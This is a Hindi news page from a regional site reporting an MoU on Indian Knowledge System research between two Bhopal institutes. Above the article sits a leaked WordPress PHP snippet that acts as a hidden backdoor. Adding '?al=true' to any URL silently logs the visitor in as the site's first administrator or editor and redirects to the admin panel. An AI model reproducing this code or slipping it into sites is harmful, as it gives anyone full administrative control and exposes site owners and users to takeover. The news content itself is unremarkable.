// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); उच्च शिक्षा उत्कृष्टता संस्थान और दत्तोपंत ठेंगड़ी शोध संस्थान के बीच हुआ एमओयू – प्रत्युषा आशा की नयी किरण
मध्यप्रदेश

उच्च शिक्षा उत्कृष्टता संस्थान और दत्तोपंत ठेंगड़ी शोध संस्थान के बीच हुआ एमओयू

भोपाल.

भारतीय ज्ञान परंपरा (Indian Knowledge System – IKS) के संरक्षण, संवर्धन एवं शैक्षणिक अनुसंधान को सुदृढ़ करने के उद्देश्य से उच्च शिक्षा उत्कृष्टता संस्थान, भोपाल तथा दत्तोपंत ठेंगड़ी शोध संस्थान, भोपाल के मध्य एक महत्वपूर्ण समझौता ज्ञापन (एमओयू) संपन्न हुआ।

उक्त समझौता ज्ञापन पर दत्तोपंत ठेंगड़ी शोध संस्थान के निदेशक श्री मुकेश कुमार मिश्रा तथा उच्च शिक्षा उत्कृष्टता संस्थान, भोपाल के संचालक डॉ. प्रज्ञेश कुमार अग्रवाल द्वारा विधिवत हस्ताक्षर किए गए। इस एमओयू के माध्यम से दोनों संस्थानों के मध्य भारतीय ज्ञान परंपरा से संबंधित अनुसंधान, अकादमिक गतिविधियों, संगोष्ठियों, कार्यशालाओं, व्याख्यानों एवं अन्य शैक्षणिक कार्यक्रमों के संचालन हेतु परस्पर सहयोग स्थापित किया जाएगा।

समझौता ज्ञापन के अंतर्गत भारतीय दर्शन, संस्कृति, साहित्य, परंपरागत विज्ञान एवं ज्ञान-विरासत से जुड़े विषयों पर अनुसंधान को प्रोत्साहित किया जाएगा तथा विद्यार्थियों, शोधार्थियों एवं शिक्षकों को भारतीय ज्ञान प्रणाली के विविध आयामों से परिचित कराने हेतु संयुक्त प्रयास किए जाएंगे। यह पहल राष्ट्रीय शिक्षा नीति के अनुरूप भारतीय ज्ञान परंपरा को उच्च शिक्षा में समाहित करने की दिशा में एक महत्वपूर्ण कदम माना जा रहा है।

इस अवसर पर उच्च शिक्षा उत्कृष्टता संस्थान, भोपाल से प्रोफेसर एवं प्रशासनिक अधिकारी डॉ. महेंद्र सिंघई, भारतीय ज्ञान परंपरा (आईकेएस) प्रभारी एवं ग्रंथपाल डॉ. प्रज्ञा नायक, तथा सहायक प्राध्यापक अमर प्रकाश पांडेय उपस्थित रहे। वहीं दत्तोपंत ठेंगड़ी शोध संस्थान, भोपाल की सह सचिव डॉ. अल्पना त्रिवेदी एवं सहायक प्राध्यापक डॉ. प्रभाकर पांडेय की गरिमामयी उपस्थिति रही।

कार्यक्रम के दौरान सभी गणमान्य अतिथियों ने इस सहयोग को भारतीय ज्ञान परंपरा के संरक्षण एवं अकादमिक उन्नयन की दिशा में मील का पत्थर बताया तथा यह आशा व्यक्त की कि यह समझौता भविष्य में उच्च शिक्षा एवं अनुसंधान के क्षेत्र में उल्लेखनीय योगदान प्रदान करेगा।

 

RO No. 13169/ 31

RO No. 13098/ 20

PRATYUSHAASHAKINAYIKIRAN.COM
Editor : Maya Puranik
Permanent Address : Yadu kirana store ke pass Parshuram nagar professor colony raipur cg
Email : puranikrajesh2008@gmail.com
Mobile : -91-9893051148
Website : pratyushaashakinayikiran.com

जनसम्पर्क विभाग – आरएसएस फीड